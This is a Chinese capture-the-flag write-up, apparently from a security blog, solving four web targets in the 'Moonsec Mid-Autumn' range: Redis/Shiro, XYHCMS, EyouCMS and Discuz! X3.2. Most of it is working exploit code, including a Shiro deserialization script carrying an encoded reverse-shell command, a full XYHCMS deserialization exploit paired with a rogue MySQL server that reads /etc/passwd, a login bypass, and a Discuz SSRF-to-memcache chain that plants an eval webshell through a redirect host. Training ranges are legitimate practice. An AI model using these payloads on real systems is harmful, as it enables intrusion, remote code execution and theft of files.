暗月中秋月饼争夺战靶场通关过程

文摘   科技   2023-09-23 19:54   广东  

简单介绍

最终通过人数 11人  靶场 还会开放几天 可以参与复现

暗月攻防交流群 位置不多 需要加入添加菜狗微信 不定期开放安全靶场

暗月中秋月饼争夺战靶场通关过程

靶标:http://103.108.67.223/

靶标内容:

靶标一:redis-shrio

经过前期信息收集发现 103.108.67.223 存在redis弱口令:abc123

使用redis-cli连接redis后发现redis版本过高,无法使用主从复制RCE,且无法写计划任务与公钥

在key中发现存在shiro session,探测端口后发现http://103.108.67.223:8089/存在shiro框架

这里就可能存在redis写session导致shiro反序列化

具体原理参考文章:https://xz.aliyun.com/t/11198

直接使用文章中的脚本:

Pythonimport pyyso
import socket

s=socket.socket()
s.connect(("127.0.0.1",6379))
whatever=b"123"
key=b"shiro:session:"+whatever
value=pyyso.cb1v192("open /")
s.send(b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24"+str(len(key)).encode()+b"\r\n"+key+b"\r\n\x24"+str(len(value)).encode()+b"\r\n"+value+b"\r\n")
if b"+OK" in  s.recv(3):
   print("success")

这里需要修改一下脚本,这个脚本是redis未授权,而我们发现的是redis弱口令

修改后的脚本:

Pythonimport pyyso
import socket

s = socket.socket()
s.connect(("103.108.67.223", 6379))
# 设置 Redis 密码
password = "abc123".encode()

# 发送 AUTH 命令进行密码认证
s.send(b"*2\r\n$4\r\nAUTH\r\n$" + str(len(password)).encode() + b"\r\n" + password + b"\r\n")

whatever = b"test111"
key = b"shiro:session:" + whatever
value = pyyso.cb1v192("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}")
s.send(b"\x2a\x33\x0d\x0a\x24\x33\x0d\x0aSET\r\n\x24" + str(len(key)).encode() + b"\r\n" + key + b"\r\n\x24" + str(
   len(value)).encode() + b"\r\n" + value + b"\r\n")
if b"+OK" in s.recv(3):
   print("success")

运行脚本后,使用工具连接redis,可以看到已经将序列化的数据写入进去

使用nc监听端口,登录网站后修改JSESSIONID的值修改为test111

成功反弹shell,获取到flag:moonsec_flag{327a6c4304ad5938eaf0efb6cc3e53dc

靶标二:XYHCMS

访问:http://103.108.67.223:8866/,发现是一个XYHCMS

打到后面发现都是之前月师傅考核过的靶场,都有writeup了,这里直接不做人开始copy了 [手动狗头]

参考文章:

https://www.anquanke.com/post/id/232823

使用文章中payload测试:

Pythonhttp://103.108.67.223:8866/index.php/Api/Lt/alist?orderby[updatexml(1,concat(char(126),(select s_value from xyh_config limit 6,1),char(126)),1);]=1

再访问:http://103.108.67.223:8866/App/Runtime/Logs/Api/23_09_22.log 注意日志路径要对应

成功获取key:TlRAcBF8e

由于XYHCMS存在反序列化漏洞,可达到l执行任意sql的效果,这里直接直接用github上面的工具:

https://github.com/ha1c9on/vulnerability/tree/790cd67479d5714b7963911ced0cd5a05ef94088/xyhcms/XYHCMS%E5%89%8D%E5%8F%B0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

原来的工具:

Python<?php
/**
* Created by : MoonBack
* Date: 2021-03-01
* Github: https://github.com/M00nBack
*/
namespace Think\Db\Driver{
   use PDO;
   class Mysql{
       protected $options = array(
           PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
       );
       protected $config;
       public function __construct($config){
           $this->config = $config;
       }
   }
}

namespace Think\Image\Driver{
   use Think\Session\Driver\Memcache;
   class Imagick{
       private $img;

       public function __construct($config,$sql){
           $this->img = new Memcache($config,$sql);
       }
   }
}

namespace Think\Session\Driver{
   use Think\Model;
   class Memcache{
       protected $handle;

       public function __construct($config,$sql){
           $this->handle = new Model($config,$sql);
       }
   }
}

namespace Think{
   use Think\Db\Driver\Mysql;
   class Model{
       protected $options   = array();
       protected $pk;
       protected $data = array();
       protected $db = null;
       public function __construct($config,$sql){
           $this->db = new Mysql($config);
           $this->options['where'] = '';
           $this->pk = 'id';
           $this->data[$this->pk] = array(
               "table" => "user",
               "where" => "1=0;".$sql.";"
           );
       }
   }
}

namespace {
   error_reporting(0);
   class SysCrypt {

         private $crypt_key;

         // 构造函数
         public function __construct($crypt_key) {
            $this -> crypt_key = $crypt_key;
         }
         public function php_encrypt($txt) {
            srand((double)microtime() * 1000000);
            $encrypt_key = md5(rand(0,32000));
            $ctr = 0;
            $tmp = '';
            for($i = 0;$i<strlen($txt);$i++) {
             $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
             $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
            }
            return base64_encode(self::__key($tmp,$this -> crypt_key));
         }
         
         public function php_decrypt($txt) {
            $txt = self::__key(base64_decode($txt),$this -> crypt_key);
            $tmp = '';
            for($i = 0;$i < strlen($txt); $i++) {
             $md5 = $txt[$i];
             $tmp .= $txt[++$i] ^ $md5;
            }
            return $tmp;
         }
         
         private function __key($txt,$encrypt_key) {
            $encrypt_key = md5($encrypt_key);
            $ctr = 0;
            $tmp = '';
            for($i = 0; $i < strlen($txt); $i++) {
             $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
             $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
            }
            return $tmp;
         }
         
         public function __destruct() {
            $this -> crypt_key = null;
         }
   }

   function get_key($url){
       $u = $url.'/App/Runtime/Data/config/site.php';
       $content = send_request($u);
       $pattern = '/\"CFG_COOKIE_ENCODE\";s:(\w+):\"(\w+)\"/';
       preg_match($pattern,$content,$matches);
       if($matches[2]=="" or !isset($matches[2])){
           echo "not find cookie encode key \n";
           die();
       }else{
           echo "find cookie encode key:".$matches[2]."\n\n";
       }
       return $matches[2];
   }

   function gen_payload($config,$key,$sql){
       $class = new Think\Image\Driver\Imagick($config,$sql);
       $ser = serialize($class);
       $sc = new SysCrypt(md5($key));
       $enc = $sc->php_encrypt($ser);
       return urlencode($enc);
   }

   function send_request($url, $payload=null)
   {
       if(isset($payload)){
           $opts = array('http' =>
              array(
                'method' => 'GET',
                'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0\r\n"."Cookie: uid=".$payload
              )
           );
       }else{
           $opts = array('http' =>
              array(
                'method' => 'GET',
                'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"
              )
            );
       }
     $context = stream_context_create($opts);
     $result = file_get_contents($url, false, $context);
     return $result;
   }

   function exploit($url,$mysql_server_host=null,$mysql_server_port=null,$user=null,$pass=null,$sql=''){

           $config = array(
               "debug"    => 1,
               "database" => "mysql",
               "hostname" => $mysql_server_host,
               "hostport" => $mysql_server_port,
               "charset"  => "utf8",
               "username" => $user,
               "password" => $pass
           );
           $key = get_key($url);
           $payload = gen_payload($config,$key,$sql);
           echo "payload:".$payload;
           $u = $url.'/index.php?s=/Home/Public/loginChk';
           send_request($u,$payload);
       }
   }
   $url = $argv[1];
   $mysql_host = $argv[2];
   $mysql_port = $argv[3];
   $mysql_user = $argv[4];
   $mysql_pass = $argv[5];
   $sql = $argv[6];
   if(count($argv)!=7){
       echo "Useage: php exploit.php http://127.0.0.1 1.1.1.1 3307 root root \"select sleep(3)\"\n";
   }else{
       echo "start exploit ...\n";
       $time1 = time();
       exploit($url,$mysql_host,$mysql_port,$mysql_user,$mysql_pass,$sql);
       $time2 = time();
       echo "\n\nexec exploit takes ".($time2-$time1)." seconds\n";
   }
   
}

上面的脚本是访问/App/Runtime/Data/config/site.php获取key,由于这个路径不存在,我们直接将之前获取的key写进去,修改后的脚本:

Python<?php
/**
* Created by : MoonBack
* Date: 2021-03-01
* Github: https://github.com/M00nBack
*/
namespace Think\Db\Driver{
   use PDO;
   class Mysql{
       protected $options = array(
           PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
       );
       protected $config;
       public function __construct($config){
           $this->config = $config;
       }
   }
}

namespace Think\Image\Driver{
   use Think\Session\Driver\Memcache;
   class Imagick{
       private $img;

       public function __construct($config,$sql){
           $this->img = new Memcache($config,$sql);
       }
   }
}

namespace Think\Session\Driver{
   use Think\Model;
   class Memcache{
       protected $handle;

       public function __construct($config,$sql){
           $this->handle = new Model($config,$sql);
       }
   }
}

namespace Think{
   use Think\Db\Driver\Mysql;
   class Model{
       protected $options   = array();
       protected $pk;
       protected $data = array();
       protected $db = null;
       public function __construct($config,$sql){
           $this->db = new Mysql($config);
           $this->options['where'] = '';
           $this->pk = 'id';
           $this->data[$this->pk] = array(
               "table" => "user",
               "where" => "1=0;".$sql.";"
           );
       }
   }
}

namespace {
   error_reporting(0);
   class SysCrypt {

         private $crypt_key;

         // 构造函数
         public function __construct($crypt_key) {
            $this -> crypt_key = $crypt_key;
         }
         public function php_encrypt($txt) {
            srand((double)microtime() * 1000000);
            $encrypt_key = md5(rand(0,32000));
            $ctr = 0;
            $tmp = '';
            for($i = 0;$i<strlen($txt);$i++) {
             $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
             $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
            }
            return base64_encode(self::__key($tmp,$this -> crypt_key));
         }
         
         public function php_decrypt($txt) {
            $txt = self::__key(base64_decode($txt),$this -> crypt_key);
            $tmp = '';
            for($i = 0;$i < strlen($txt); $i++) {
             $md5 = $txt[$i];
             $tmp .= $txt[++$i] ^ $md5;
            }
            return $tmp;
         }
         
         private function __key($txt,$encrypt_key) {
            $encrypt_key = md5($encrypt_key);
            $ctr = 0;
            $tmp = '';
            for($i = 0; $i < strlen($txt); $i++) {
             $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
             $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
            }
            return $tmp;
         }
         
         public function __destruct() {
            $this -> crypt_key = null;
         }
   }

   function get_key($url){
       $u = $url.'/App/Runtime/Data/config/site.php';
       $content = send_request($u);
       $pattern = '/\"CFG_COOKIE_ENCODE\";s:(\w+):\"(\w+)\"/';
       preg_match($pattern,$content,$matches);
       if($matches[2]=="" or !isset($matches[2])){
           echo "not find cookie encode key \n";
           die();
       }else{
           echo "find cookie encode key:".$matches[2]."\n\n";
       }
       return $matches[2];
   }

   function gen_payload($config,$key,$sql){
       $class = new Think\Image\Driver\Imagick($config,$sql);
       $ser = serialize($class);
       $sc = new SysCrypt(md5($key));
       $enc = $sc->php_encrypt($ser);
       return urlencode($enc);
   }

   function send_request($url, $payload=null)
   {
       if(isset($payload)){
           $opts = array('http' =>
              array(
                'method' => 'GET',
                'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0\r\n"."Cookie: uid=".$payload
              )
           );
       }else{
           $opts = array('http' =>
              array(
                'method' => 'GET',
                'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0"
              )
            );
       }
     $context = stream_context_create($opts);
     $result = file_get_contents($url, false, $context);
     return $result;
   }

   function exploit($url,$mysql_server_host=null,$mysql_server_port=null,$user=null,$pass=null,$sql=''){

           $config = array(
               "debug"    => 1,
               "database" => "mysql",
               "hostname" => $mysql_server_host,
               "hostport" => $mysql_server_port,
               "charset"  => "utf8",
               "username" => $user,
               "password" => $pass
           );
           // $key = get_key($url);
           $key = 'TlRAcBF8e';
           $payload = gen_payload($config,$key,$sql);
           echo "payload:".$payload;
           $u = $url.'/index.php?s=/Home/Public/loginChk';
           send_request($u,$payload);
       }
   }
   $url = $argv[1];
   $mysql_host = $argv[2];
   $mysql_port = $argv[3];
   $mysql_user = $argv[4];
   $mysql_pass = $argv[5];
   $sql = $argv[6];
   if(count($argv)!=7){
       echo "Useage: php exploit.php http://127.0.0.1 1.1.1.1 3307 root root \"select sleep(3)\"\n";
   }else{
       echo "start exploit ...\n";
       $time1 = time();
       exploit($url,$mysql_host,$mysql_port,$mysql_user,$mysql_pass,$sql);
       $time2 = time();
       echo "\n\nexec exploit takes ".($time2-$time1)." seconds\n";
   }
   
}

这个漏洞需要搭配一个mysql的恶意服务来获取内容,这里使用bettercap工具,工具已经集成好了一个恶意MySQL服务器

工具地址:https://github.com/bettercap/bettercap

工具文档:https://www.bettercap.org/

在vps上安装好后,启动一个mysql恶意服务,让它尝试读取/etc/passwd文件

Pythonbettercap -eval "set mysql.server.infile /etc/passwd; mysql.server on"

运行之前改的php脚本:

Pythonphp exploit.php http://127.0.0.1 yourip 3306 root root ""

在服务器上成功读取到靶机上面的/etc/passwd文件

这里就直接读flag,取巧了没有getsehll

Pythonbettercap -eval "set mysql.server.infile /flag; mysql.server on"

获取到flag:moonsec_flag{f54d2bdb1f8c6a7996b0a0bf373997fd}

靶标三:EyouCms

访问url:http://103.108.67.223:8880/

发现是一个eyoucms,还是老操作把月师傅之前发的靶场考核看一遍,直接copy脚本

参考文章:https://mp.weixin.qq.com/s/teNXK-PX47y1NyFQx27GAw

访问网站后获取自己的session:437dosi38fqthfhs8qnnade5m2

直接使用师傅们写好的脚本:

Pythonimport requests
import time


def is_number(s):
   try:
       float(s)
       return True
   except ValueError:
       pass
   try:
       import unicodedata
       unicodedata.numeric(s)
       return True
   except (TypeError, ValueError):
       pass
   return False


# admin_login_expire //  getTime() - intval($admin_login_expire)
def admin_login_expire():
   url = 'http://103.108.67.223:8880/index.php?m=api&c=ajax&a=get_token&_ajax=1&name=admin_login_expire'
   # print(cookies)
   while True:
       num_10 = requests.get(url, cookies=cookies).text
       if is_number(num_10[0:10]):
           if int(time.time()) - int(num_10[0:10]) < 3600:
               return num_10


# admin_info.roke_id  //转为整形小于等于0
def roke_id():
   url = 'http://103.108.67.223:8880/index.php?m=api&c=ajax&a=get_token&_ajax=1&name=admin_info.roke_id'
   while True:
       num_1 = requests.get(url, cookies=cookies).text
       if is_number(num_1[0:1]):
           continue
       else:
           return num_1


# admin_id //任意值
def admin_id():
   url = 'http://103.108.67.223:8880/index.php?m=api&c=ajax&a=get_token&_ajax=1&name=admin_id'
   admin_id = requests.get(url, cookies=cookies).text
   return admin_id


if __name__ == "__main__":
   # PHPSESSID 填入访问网站获取的session
   cookies = {'home_lang': 'cn', 'admin_lang': 'cn', 'PHPSESSID': '437dosi38fqthfhs8qnnade5m2'}
   print("admin_login_expire:", admin_login_expire())
   print("admin_info.roke_id:", roke_id())
   print("admin_id:", admin_id())

访问url:http://103.108.67.223:8880/login.php,直接绕过登录进入后台

在模板管理处写入php代码在进行渲染就可以getshell了

发现无法执行命令,查看disable_function禁用了一堆函数

使用蚁剑自带的插件进行disable_funtion绕过

选择LD_PRELOAD模块即可

这里需要将之前上传的webshell文件以及插件生成的.antporxy.php文件放入网站根目录:/home/wwwroot/default/

使用蚁剑连接.antproxy.php文件即可绕过disable_funtion,密码为之前上传webshell中的密码

成功获取到flag:moonsec_flag{2f0460e434a10e8912c0ef6f630add2c}

碎碎念:离谱啊,这里有人恶意删除flag。搞的进来之后到处找flag,一度以为要提权要docker逃逸之类的,弄了好久好久。结果第二天连上来一看,md,flag又出现的

靶标四:Discuz!

访问url:http://103.108.67.223:8822/forum.php

发现是一个discuz,且cms版本为:discuz! x3.2

经过信息收集后发现:http://103.108.67.223:8822/install/ 存在目录遍历

发现data目录下泄露了许多sql文件

经过下载翻阅后发现install_data.sql文件泄露了一个authkey信息

在搜索漏洞的时候发现了这几篇文章:

Discuz!-X-_-3.4-authkey-算法的安全性漏洞 - Discuz

Discuz!-X3.4-Memcached未授权访问导致的rce - Discuz

Discuz!-X-authkeyMemcachessrf-getshell - Discuz

经过大量搜索后。尝试其他discuz的漏洞都无果后,联想到之前泄露的authkey,猜测可能需要通过authkey+Memcache+ssrf getshell

目前看起来需要4个条件才getshell:

版本<=3.4

存在authkey

配置了memcache

需要一个ssrf漏洞

第1,2个条件经过之前的信息收集已经达到了,看看第二个靶场有没有搭建memcache

看起来是已经搭建mecache,目前最后剩下一个ssrf漏洞了

测试了文章中的ssrf的payload,发现都不行要么是条件太苛刻,要么是存在漏洞的插件没开放

由于靶场的discuz的版本是比较低的,老漏洞可能不太好搜索,直接上乌云搜索漏洞信息

发现了这篇文章:Discuz!另一处SSRF无须登陆无须条件 | wooyun-2015-0151179| WooYun.org

直接使用文章中payload:

Pythonhttp://xxxx/bbs/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec4

vps上nc进行监听

执行payload

nc接受到了响应,看到这我只能说一句乌云牛批!

弄到这里目前的4个条件都满足了。尝试getshell

读到文章后面才发现需要获取memory的prefix参数才能getshell,而memory_prefix是由随机数生成,其中authkey存不存在都不影响

现在我们getshell条件就更新了:

版本<=3.4

获取memory_prefix

配置了memcache

需要一个ssrf漏洞

根据文章中的描述我们需要通过cookie的前缀来爆破memory_prefix,而在上诉参考文章中只有通过cookie前缀爆破authkey后10位脚本:

获取authkey的随机数种子:

Python# coding=utf-8
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in xrange(w_len):
   result+="0 "
   result+=str(length-1)
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
sstr = "sW7c"
for i in sstr:
   result+=str(str_list.index(i))
   result+=" "
   result+=str(str_list.index(i))
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
print result

生成authkey的后10位所有可能:

Python<?php
function random($length) {
   $hash = '';
   $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
   $max = strlen($chars) - 1;
   PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
   for($i = 0; $i < $length; $i++) {
       $hash .= $chars[mt_rand(0, $max)];
   }
   return $hash;
}
$fp = fopen('result.txt', 'rb');
$fp2 = fopen('result2.txt', 'wb');
while(!feof($fp)){
   $b = fgets($fp, 4096);
   if(preg_match("/seed = (\d)+/", $b, $matach)){
       $m = $matach[0];
   }else{
       continue;
   }
   // var_dump(substr($m,7));
   mt_srand(substr($m,7));
   fwrite($fp2, random(10)."\n");
}
fclose($fp);
fclose($fp2);

现在就需要修改脚本来爆破memory_prefix

本地搭建Discuz! x3.2+memcache:

获取文件中的memory_prefix参数:hD3yEt,文件路径:/upload/config/config_global.php

尝试多次修改获取随机数脚本爆破memory_prefix无果后,重新搜索相关文章

发现文章:https://cert.360.cn/static/files/Discuz%20X3.3%E8%A1%A5%E4%B8%81%E5%AE%89%E5%85%A8%E5%88%86%E6%9E%90.pdf

文章中提到获取cookie前缀是第11-14次随机数,而authkey的后10位是前10次随机数

查看源码:

发现确实是先进行random(10),后进行random(4),再进行random(6)

意思是它可能是线性爆破的:10次随机数+4次随机数=14次随机数

那么要获取memory_prefix就必须:10次随机数+4次随机数+6次随机数=20次随机数

而前面生成随机数种子的py脚本只有前十位,并且生成随机的php的脚本也是爆破前10位

所以它只能爆破authkey的后10位,无法爆破memory_prefix

重新编写脚本:

获取memory_prefix的随机数种子脚本php_mt_seed.py:

Python# 置空前10位
w_len = 10
# 置空后6位
w_len_2 = 6
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in xrange(w_len):
   result+="0 "
   result+=str(length-1)
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
# 填入cookie前缀
sstr = "t2xl"
for i in sstr:
   result+=str(str_list.index(i))
   result+=" "
   result+=str(str_list.index(i))
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
for i in xrange(w_len_2):
   result+="0 "
   result+=str(length-1)
   result+=" "
   result+="0 "
   result+=str(length-1)
   result+=" "
print result

生成memory_prefix参数的所有可能脚本php_mt_seed_4.php:

Python<?php
function random($length) {
       $hash = '';
       $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
       $max = strlen($chars) - 1;
       PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
       for($i = 0; $i < $length; $i++) {
               $hash .= $chars[mt_rand(0, $max)];
       }
       return $hash;
}
$fp = fopen('result1.txt', 'r');
$fp2 = fopen('result2.txt', 'a');
while(!feof($fp)){
       $b = fgets($fp, 4096);
       if(preg_match("/([=\s].*[=\s])(\d+)[\s]/", $b, $matach)){
               $m = $matach[2];
               echo $m;
               echo "\n";
       }else{
               continue;
       }
       // var_dump($matach);
       // var_dump($m);
       mt_srand($m);
       fwrite($fp2, random(20)."\n");
}
fclose($fp);
fclose($fp2);

在本地环境测试脚本

获取本地环境cookie前缀:HdSl

填入脚本

运行脚本,获取php_mt_seed 参数:0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 7 7 0 61 39 39 0 61 18 18 0 61 47 47 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61

爆破随机数种子

由于随机数生成受到php版本影响,所以我们需要获取靶场php版本

访问url: http://103.108.67.223:8822/php.php

获取到靶场php版本为:5.5.9

我们在运行获取memory_prefix参数的php脚本环境也替换为靶场环境

由于php_mt_seed工具生成随机数种子有许多个php版本,这里进行筛选出与靶场环境匹配的数据

Pythoncat result1.txt | grep HHVM

将result1.txt文件放在php_mt_seed_4.php同一目录即可,运行php脚本生成20次随机数所有参数文件

搜索hD3yEt发现确实存在文件中,并且也是后6位

现在memory_prefix参数已经搞定,然后就是构造ssrf

编写memcache序列化脚本:

Python<?php
$_G['setting']['output']['preg']['search']['plugins'] = '/.*/e';
// $_G['setting']['output']['preg']['replace']['plugins'] = "phpinfo();";
$_G['setting']['output']['preg']['replace']['plugins'] = "file_put_contents('./data/cache/ln.php','<?php eval(\$_POST[x]);?>');";
$_G['setting']['rewritestatus'] = 1;
echo serialize($_G) . "<br>";
echo "\n";


$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");
$memcache->set('IwRW7l_setting', $_G['setting']);

运行后复制下列数据:a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?php eval($_POST[x]);?>');";}}}s:13:"rewritestatus";i:1;}

接下来的操作与文章中一致了

然后将数据包改成 gopher 的形式(注意格式,后面才用url编码),即:

Pythongopher://localhost:11211/_set%20hD3yEt_setting%201%200%20222%0Aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A5%3A%22%2F.%2A%2Fe%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A68%3A%22file_put_contents%28%27.%2Fdata%2Fcache%2Fln.php%27%2C%27%3C%3Fphp%20eval%28%24_POST%5Bx%5D%29%3B%3F%3E%27%29%3B%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D

但是直接用它去 SSRF 是不可以的,会被_xss_check检测到特殊字符而被拒绝请求:

所以利用这里请求跟随跳转的特点,在自己的远程服务器上放类似于这样的一个脚本:

PHP// 这个用ssrf 302bypass,并去除上面ssrf payload中携带的参数:?xxx.jpg[/img]
<?php

$url = $_REQUEST['url'];
$replaceUrl = str_replace('?xxx.jpg[/img]', '', $url);
$modifiedUrl = base64_decode($replaceUrl);
header( "Location: " . $modifiedUrl );

这样就可以将 SSRF URL 进行 base64 编码从而规避_xss_check的检测。

Apachehttp://192.168.217.130/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://8.142.129.215/test.php?url=Z29waGVyOi8vbG9jYWxob3N0OjExMjExL19zZXQlMjBoRDN5RXRfc2V0dGluZyUyMDElMjAwJTIwMjIyJTBBYSUzQTIlM0ElN0JzJTNBNiUzQSUyMm91dHB1dCUyMiUzQmElM0ExJTNBJTdCcyUzQTQlM0ElMjJwcmVnJTIyJTNCYSUzQTIlM0ElN0JzJTNBNiUzQSUyMnNlYXJjaCUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTUlM0ElMjIlMkYuJTJBJTJGZSUyMiUzQiU3RHMlM0E3JTNBJTIycmVwbGFjZSUyMiUzQmElM0ExJTNBJTdCcyUzQTclM0ElMjJwbHVnaW5zJTIyJTNCcyUzQTY4JTNBJTIyZmlsZV9wdXRfY29udGVudHMlMjglMjcuJTJGZGF0YSUyRmNhY2hlJTJGbG4ucGhwJTI3JTJDJTI3JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9QT1NUJTVCeCU1RCUyOSUzQiUzRiUzRSUyNyUyOSUzQiUyMiUzQiU3RCU3RCU3RHMlM0ExMyUzQSUyMnJld3JpdGVzdGF0dXMlMjIlM0JpJTNBMSUzQiU3RA==?xxx.jpg[/img]

成功写入文件

访问网站发现崩溃,刷新缓存即可恢复

现在就可以去靶场getshell,这么多流程一不注意就会出错这里就编写py脚本,进行自动化爆破memory_prefix并getshell

按照上述操作执行整个流程:

获取靶场cookie前缀:t2xl——>运行php_mt_seed.py+php_mt_seed工具爆破随机数种子——>运行php_mt_seed_4.php获取所有memory_prefix参数可能——>最后运行脚本

Pythonimport base64
import time

import requests

# payload示例
str = "gopher://localhost:11211/_set%20IwRW7l_setting%201%200%20161%0d%0aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A4%3A%22%2F.*%2F%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D"
# 目标url
url = "http://103.108.67.223:8822/"
# 遍历memory_prefix
with open('discuz.txt', 'r') as infile:
   for line in infile:
       # 去除行尾的空白字符(如换行符)
       line = line.strip()
       try:
           payload = "gopher://localhost:11211/_set%20" + line[-6:] +"_setting%201%200%20222%0Aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A5%3A%22%2F.%2A%2Fe%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A68%3A%22file_put_contents%28%27.%2Fdata%2Fcache%2Fln.php%27%2C%27%3C%3Fphp%20eval%28%24_POST%5Bx%5D%29%3B%3F%3E%27%29%3B%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D"
           # payload = "gopher://localhost:11211/_set%20" + 'Wzj0Ps' + "_setting%201%200%20222%0Aa%3A2%3A%7Bs%3A6%3A%22output%22%3Ba%3A1%3A%7Bs%3A4%3A%22preg%22%3Ba%3A2%3A%7Bs%3A6%3A%22search%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A5%3A%22%2F.%2A%2Fe%22%3B%7Ds%3A7%3A%22replace%22%3Ba%3A1%3A%7Bs%3A7%3A%22plugins%22%3Bs%3A68%3A%22file_put_contents%28%27.%2Fdata%2Fcache%2Fln.php%27%2C%27%3C%3Fphp%20eval%28%24_POST%5Bx%5D%29%3B%3F%3E%27%29%3B%22%3B%7D%7D%7Ds%3A13%3A%22rewritestatus%22%3Bi%3A1%3B%7D"
           # print(payload)
           base64_bytes = base64.b64encode(payload.encode('utf-8'))
           base64_str = base64_bytes.decode('utf-8')  # 将Base64字节串解码为字符串
           # 构造ssrf
           test_url = url + "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://vps/test.php?url=" + base64_str +"?xxx.jpg[/img]"
           print(test_url)
           requests.get(test_url)
           time.sleep(0.5)
           # print(requests.get(test_url).text)
           # 验证POC地址
           poc_url = url + "/forum.php?mod=ajax&action=getthreadtypes&inajax=yes"
           # 判断是否写入shell
           poc_url_2 = url + "/data/cache/ln.php"
           resp_1 = requests.get(poc_url)
           resp_2 = requests.head(poc_url_2)
           print(resp_1.text)
           if resp_2.status_code == 200:
               print('[+] 漏洞利用成功,memory_prefix: '+line[-6:])
               break
           else:
               print("[-] memory_prefix is falid: "+line[-6:])
       except Exception as e:
           print(e)
           continue
       # break

连接shell

获取flag:moonnsec_flag{ae5cbc768cb85f87e83e8fe75fbcd1eb}

碎碎念:离谱啊,discuz靶场卡了2天,以为discuz靶场也在月师傅发布的wp里面,结果翻烂了都没有翻到。光漏洞也找了半天,结果一个都用不了。还是回到ssrf+getshell上,然后写了脚本跑了一天爆破了一天的参数结果是发现是随机数种子不对,连夜学随机数。应该第一天就搭建本地靶场来复现的,回想起来还得是月师傅牛批啊,这种靶场都能弄出来。一开始就用泄露authkey来提示我们用什么方法来打了(没发现),如果泄露的authkey是正确的话就可以结合cookie前缀直接定位memory_prefix了,就不用爆破了。不过这样也是确实符合实战,毕竟实战谁会把authkey泄露哦。榜一师傅是真的牛批啊(第一天就领月饼了),太菜了呜呜呜。


关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏




 




moonsec
暗月博客
 最新文章